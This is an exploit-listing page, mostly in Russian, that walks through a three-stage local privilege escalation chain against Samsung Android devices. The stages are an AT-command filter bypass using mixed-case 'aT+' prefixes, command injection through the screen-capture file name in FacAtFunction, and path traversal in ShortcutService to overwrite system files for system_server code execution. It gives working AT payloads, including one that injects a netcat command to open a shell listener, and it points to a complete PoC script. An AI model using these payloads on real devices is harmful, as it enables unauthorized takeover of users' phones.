Sploitus

Exploit for samsung-android-lpe

kitploit Β· 2026-09-05

Exploit Code

MARKDOWN242 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-VIKRAMADITYA015-SAMSUNG-ANDROID-LPE
# Π§Π°ΡΡ‚ΡŒ 1: ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ AT-ΠΊΠΎΠΌΠ°Π½Π΄ (CVE-2026-20980)

ΠšΠΎΠΌΠ°Π½Π΄Ρ‹ ΠΏΡ€ΠΈΠΊΠ»Π°Π΄Π½ΠΎΠ³ΠΎ процСссора (AP) ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ at_distributor послС ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Ρ€Π΅ΠΆΠΈΠΌΠ° ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π½Π° Ρ€Π°Π·Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌ устройствС с использованиСм.

root@kitploit:~
    
    
    AT+SWATD=0
    AT+ACTIVATE=0,0,0
    AT+SWATD=1
    

at_distributor провСряСт AT-ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Ρ‡Π΅Ρ€Π΅Π· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ pacm_check_at_cmds

root@kitploit:~
    
    
    void main(int32_t arg1, void* arg2) __noreturn
    {
        int32_t var_21b0 = arg1;
        data_42c170 = SignalHandler;
        sigemptyset(0x42c178);
        ...
        if (pacm_check_at_cmds(&data_42c1b4, &var_2160, &data_404a82, v0_11) != 1)  {
            SendToTerminal(&var_2160,                            
            __strlen_chk(&var_2160, 0x80)                    
        } else {
            __android_log_print(3, "AT_Distributor", "%s()", "HandleMessageFromUart");
            ...
        }   
        ...
    }
    
    

Π»ΠΎΠ³ΠΈΠΊΠ° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ находится Π²

root@kitploit:~
    
    
    ldd at_distributor
    libpacm_client.so => /system/lib64/libpacm_client.so
    

функция Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ is_multiple_cmds для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ, содСрТит Π»ΠΈ AT-ΠΊΠΎΠΌΠ°Π½Π΄Π° нСсколько ΠΊΠΎΠΌΠ°Π½Π΄.

root@kitploit:~
    
    
    uint64_t pacm_check_at_cmds(int64_t arg1, char* arg2)
    {
        uint64_t x24 = _ReadMSR(tpidr_el0);
        int64_t x8 = *(x24 + 0x28);
        int32_t var_284;
        ...
        if (!arg1)
        {
            __android_log_print(6, "PACMAN", "%s : AT Command is NULL\n", "pacm_check_at_cmds", v0);
            x20_1 = var_284;
            ...
        } else {
            Command::set_command(&var_280);
            char var_2d0;
            void* var_2c0;
            
            if (var_2d0 & 1)
                operator delete(var_2c0, var_2d0 & 0xfffffffffffffffe);
            int32_t x8_6;
            
            if (!Command::is_multiple_cmds())
            {
                int32_t x0_13;
                int128_t v0_1;
                x0_13 = Command::preprocess_cmds(&var_280);
                ...
            }
            ...
        }    
    }   
    
    int64_t Command::is_multiple_cmds()
    {
        ...
        size_t x0 = strlen("
    at+");
        if (x0) {
            ...
            memcmp(x0_4, "
    at+", x0);
            ...
        }
        size_t x0_1 = strlen("
    AT+");
        if (x0_1) {
            ...
            memcmp(x0_7, "
    AT+", x0_1);
            ...
        }
        size_t x0_2 = strlen("
    at+");
        if (x0_2) {
            ...
            memcmp(x0_10, "
    at+", x0_2);
            ...
        }
        size_t x0_3 = strlen("
    AT+");
        if (x0_3) {
            ...
            memcmp(x0_13, "
    AT+", x0_3);
            ...
        }
        ...
        return 1;
    }
    

поэтому AT-ΠΊΠΎΠΌΠ°Π½Π΄Π° с этой Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ ошибкой.

root@kitploit:~
    
    
    TX: AT+\nAT+VERSNAME=3,2,1
    RX: +CME Error:PACM(AP),MULTIPLE_CMD
    

ΠΎΠ΄Π½Π°ΠΊΠΎ is_multiple_cmd Π½Π΅ провСряСт "aT+" ΠΈΠ»ΠΈ "At+", поэтому защищённая/нСзарСгистрированная ΠΊΠΎΠΌΠ°Π½Π΄Π° выполняСтся.

root@kitploit:~
    
    
    TX: AT+\naT+VERSNAME=1,3,0 (Note:AT+VERSNAME=1,3,0 is a protected command)
    RX: +VERSNAME:1,SM8550,SM8550
    

# Π§Π°ΡΡ‚ΡŒ 2: ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ систСмных ΠΊΠΎΠΌΠ°Π½Π΄ Π² FacAtFunction (CVE-2026-20981)

FacAtFunction (uid 1000) β€” систСмноС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ AP AT-ΠΊΠΎΠΌΠ°Π½Π΄, Π² частности Π½Π΅Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ `AT+CAMEAUTO`.

эта ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Π·Π°Ρ…Π²Π°Ρ‚Π° экрана с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ shell-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ/exec.

root@kitploit:~
    
    
    ...
    if (checkArgu(strArr, new String[]{"0", "1", "0", "2"})) {
                        FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "handleCommand", "Screen Capture & File Name : " + strArr[4]);
                        screenCapture(strArr[4]);
                        FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "screenCapture", "result : 1");
                        str = responseOK(strArr[0]);
                        ...
    }
    
    public final void screenCapture(String str) {
            Process process;
            FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "ScreenCapture Start");
            ...
            String str3 = i < 10 ? m + "SCREENIMAGE0" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg" : m + "SCREENIMAGE" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg";
            FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "screenCapture", str + i + " / " + str3);
            ?? r15 = {"/system/bin/sh", "-c", str3};
            Process process2 = null;
            try {
                try {
                    FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "capture command");
                    process = Runtime.getRuntime().exec(r15);
                ...
            ...
    }
    

имя Ρ„Π°ΠΉΠ»Π° бСрётся ΠΎΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π½ΠΎ функция screenCapture Π½Π΅ ΠΎΡ‡ΠΈΡ‰Π°Π΅Ρ‚ имя Ρ„Π°ΠΉΠ»Π°. И Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π½Π΅Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ ΠΈΠ· **Части 1** , Π΅Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ.

root@kitploit:~
    
    
    TX: AT\naT+CAMEAUTO=0,1,0,2,/;/system/bin/toybox netcat -s 127.0.0.1 -p 1234 -L sh -l;
    RX: OK
    

# Π§Π°ΡΡ‚ΡŒ 3: ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Π°Ρ запись Ρ„Π°ΠΉΠ»ΠΎΠ² Π² ShortcutService (CVE-2026-20982)

Samsung Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π» собствСнный ΠΌΠ΅Ρ‚ΠΎΠ΄ восстановлСния для Smart Switch для восстановлСния Bitmap-Ρ„Π°ΠΉΠ»ΠΎΠ²

root@kitploit:~
    
    
    public void restoreBitmapsFromBackupService(ParcelFileDescriptor parcelFileDescriptor, String str, String str2) {
            enforceScloudBackupWritePermission();
            try {
                ParcelFileDescriptor.AutoCloseInputStream autoCloseInputStream = new ParcelFileDescriptor.AutoCloseInputStream(parcelFileDescriptor);
                FileOutputStream openIconFileForWriteSmartSwitch = openIconFileForWriteSmartSwitch(0, str, str2);
                byte[] bArr = new byte[1024];
                while (true) {
                    int read = autoCloseInputStream.read(bArr);
                    if (read <= 0) {
                        break;
                    }
                    openIconFileForWriteSmartSwitch.write(bArr, 0, read);
                }
                if (openIconFileForWriteSmartSwitch != null) {
                    openIconFileForWriteSmartSwitch.close();
                }
                autoCloseInputStream.close();
            } catch (Exception unused) {
            }
    }
    public final FileOutputStream openIconFileForWriteSmartSwitch(int i, String str, String str2) {
            File file = new File(getUserBitmapFilePath(i), str);
            if (!file.isDirectory()) {
                file.mkdirs();
                if (!file.isDirectory()) {
                    Slog.d("ShortcutService", "Unable to create directory " + file);
                    throw new IOException("Unable to create directory " + file);
                }
                SELinux.restorecon(file);
            }
            File file2 = new File(file, str2);
            if (file2.exists()) {
                Slog.d("ShortcutService", "Unable to create file - already exists " + file2);
                throw new IOException("Unable to create file - already exists " + file2);
            }
            return new FileOutputStream(file2);
    }
    
    public final void enforceScloudBackupWritePermission() {
            injectEnforceCallingPermission("com.samsung.android.scloud.backup.lib.write", null);
    }
    

restoreBitmapsFromBackupService Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π° Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ "com.samsung.android.scloud.backup.lib.write", ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ uid 1000 ΠΈΠ· **Части 2** , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ для Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.

здСсь Π½Π΅ происходит очистка str(ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³) ΠΈ str2(имя Ρ„Π°ΠΉΠ»Π°) ΠΎΡ‚ path traversal. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ShortcutService Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² процСссС `system_server`, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ base.apk систСмного прилоТСния ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ packages.xml, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° Π² `system_server`.

# PoC

  * Complete chain of all three CVE is present in PoC/at.py
  * Source for classes.dex in PoC/CVE-2026-20982/Exploit.java
  * ДСмонстрация PoC